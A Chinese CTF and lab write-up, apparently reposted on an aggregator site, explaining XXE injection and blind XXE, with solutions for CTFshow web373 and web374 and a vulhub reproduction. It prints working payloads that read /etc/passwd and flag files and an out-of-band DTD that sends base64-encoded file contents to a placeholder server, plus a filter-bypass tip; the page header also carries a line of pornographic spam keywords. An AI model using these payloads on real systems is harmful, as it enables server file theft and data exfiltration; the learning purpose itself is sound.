日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

xxe盲注

發(fā)布時間:2024/3/13 编程问答 55 豆豆
生活随笔 收集整理的這篇文章主要介紹了 xxe盲注 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

簡單描述xxe:

內(nèi)部聲明實體,格式為

<?xml version="1.0"?>
<!DOCTYPE name[ ? ? ? ?//DTD內(nèi)部聲明
<!ENTITY errorr0 ? "hello world"> ? ?//DTD實體
]>
<user><username>&errorr0;</username><password>123</password></user>

引用外部實體

<?xml version="1.0"?>
<!DOCTYPE name[ ? ? ? ?//DTD內(nèi)部聲明
<!ENTITY errorr0 ?SYSTEM "http://127.0.0.1"> ? ?//DTD外部實體
]>?
<user><username>&errorr0;</username><password>123</password></user>

如何區(qū)分,一開始我也看不懂有啥區(qū)別,最后是啥發(fā)現(xiàn)了內(nèi)部實體就是引用得值是已經(jīng)定義好了,而外部實體的值就是通過某些函數(shù)比如system來獲取,不是提前定義好的。

參數(shù)實體

上面的內(nèi)部還是外部實體的值,都是再文檔外面調(diào)用的,而如果我們想在里面調(diào)用,就需要用到參數(shù)實體。

<!ENTITY %?實體名稱?"實體的值">

%實體名稱 ;----- 相當(dāng)于調(diào)用

<!DOCTYPE name[ <!ENTITY % a "hello"> <!ENTITY % b "&a; errorr0"> %b; ]>最后輸出的答案為:hello errorr0

?可以看出%b在dtd的里面。?

內(nèi)部實體+參數(shù)實體混合調(diào)用

<?xml version="1.0"?> <!DOCTYPE name[ <!ENTITY % errorr1 "<!ENTITY errorr2 'hello no'>"> %errorr1; ]><user><username>&errorr2;</username><password>123</password></user>

先調(diào)用參數(shù)實體,然后數(shù)據(jù)中又是一個實體,再在文檔元素中調(diào)用&errorr2; 。

預(yù)定義實體,實體引入字符

當(dāng)然除了這些,還有一種方式代替一些符號比如百分號%,參數(shù)實體的百分號%也不能出現(xiàn)在實體值中,這個時候我們可以用Unicode編碼,%=&#37;?也可以寫做16進制 ,%=&#37;=&#x25;

外部實體+參數(shù)實體的二重調(diào)用?

<?xml version="1.0"?> <!DOCTYPE name[ <!ENTITY % errorr1 SYSTEM "http://127.0.0.1/flag.txt"> %errorr1; %errorr; ]><user><username>&errorr2;</username><password>123</password></user>flag.txt中內(nèi)容如下:<!ENTITY % errorr "<!ENTITY errorr2 'yes i am a flag'>">

盲注xxe

因為上面的都是有回顯的題目都會有print或者echo之類輸出的語句, 但是如果沒有回顯了怎么辦呢?

構(gòu)造的XML<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/xxe/php_xxe/flag.XML"> //這是需要帶出去的一串?dāng)?shù)據(jù) <!ENTITY % remote SYSTEM "http://服務(wù)器IP/errorr.txt"> //服務(wù)器中放入嵌套數(shù)據(jù) %remote; %all; ]> <root>&send;</root> errorr.txt<!ENTITY % all "<!ENTITY send SYSTEM 'http://服務(wù)器IP地址/1.php?file=%file;'>"> 1.php<?php file_put_contents("1.txt", $_GET['file']) ; ?>

其實就是通過了參數(shù)實體+外部實體,首先調(diào)用%romore獲得errror.txt中的實體,然后調(diào)用%all獲得了后面的send最后調(diào)用外部實體,調(diào)用了1.php中的內(nèi)容,然后把file里面的數(shù)據(jù)放到了1.txt中,這樣就把數(shù)據(jù)外帶了。

因為DTD外部實體中帶入的 SYSTEM 可以執(zhí)行http:// 、 file:// 、 https:// ,因此不用懷疑,我們還能進行php://偽協(xié)議的利用,比如php://filter中我們可以用base64或者rot13編碼一些文件或者網(wǎng)站的源碼供我們讀取。

XXE過濾ENTITY關(guān)鍵字

完全可以用上面的方式把ENITY放到,服務(wù)器上的一個文件中然后讀取

復(fù)現(xiàn)的環(huán)境:

  • PHP 7.0.30
  • libxml 2.8.0
  • libxml2.9.0以后,默認不解析外部實體,導(dǎo)致XXE漏洞逐漸消亡。為了演示PHP環(huán)境下的XXE漏洞,本例會將libxml2.8.0版本編譯進PHP中。PHP版本并不影響XXE利用。

這里就不細寫知識點了,這個鏈接挺全的。主要通過題目和復(fù)現(xiàn)來逐漸理解。

首先復(fù)現(xiàn)vulhub上的php_xxe

環(huán)境搭建:找到php_xxe的 那個

?然后直接docker-compose up -d,然后訪問8080端口就可以了。

(ps:一定保證8080的端口是空閑的,這里我的kali以前鼓搗過,8080端口開過apache信道服務(wù),搗鼓不明白 只能重開一臺kali)

目錄下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可觸發(fā)XXE漏洞。

dom.php: DOMDocument:: loadXML()//從字符串加載XML文檔

<?php $data = file_get_contents('php://input');$dom = new DOMDocument(); $dom->loadXML($data);print_r($dom);

?SimpleXMLElement.php:SimpleXMLElement類標(biāo)識xml文檔中的元素

<?php $data=file_get_contents('php://input'); $xml=new SimpleXMLElent($data);

simplexml_load_string.php: simplexml_load_string()//接受格式正確的XML字符串,并將其作為對象返回

<?php $data=file_get_contents('php://input'); $xml=simplexml_load_string($data);echo $xml->name;

burp抓包進行修改,加入如下代碼:這是使用的外部實體

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe[ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <test><name>&xxe;</name> </test>

?發(fā)現(xiàn)執(zhí)行成功。

==============

web373

<?php error_reporting(0); libxml_disable_entity_loader(false); //允許加載外部實體 $xmlfile = file_get_contents('php://input');//xml文件來源于數(shù)據(jù)流 if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 加載xml實體,參數(shù)為替代實體,加載外部子集$creds = simplexml_import_dom($dom);$ctfshow = $creds->ctfshow;//結(jié)點嵌套echo $ctfshow; } highlight_file(__FILE__);

<?xml version="1.0" encoding="utf-8"?>
? <!DOCTYPE foo[
? <!ELEMENT foo ANY>
? <!ENTITY xxe SYSTEM "file:///flag" >]>
? <creds>
? ? <ctfshow>&xxe;</ctfshow>
? </creds>

這里ctfshow的標(biāo)簽因為是結(jié)點嵌套所以必須存在,??然后&xxe后面的分號一定要有。

web374

<?php error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);

這里沒有print echo所以無回顯,所以我們需要找個東西來外帶我們要獲取的數(shù)據(jù)。

evil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret"> <!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>"> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt"> %dtd;%int;%send; ]>

需要在服務(wù)器上開啟web功能。

過濾http頭、xml這些可以換個編碼繞過

ps感想:

弄這個apache搞了好幾天一直報錯,實在是頂不住了,如果有會的師傅可以滴滴我,感激不盡呀!!!?

總結(jié)

以上是生活随笔為你收集整理的xxe盲注的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。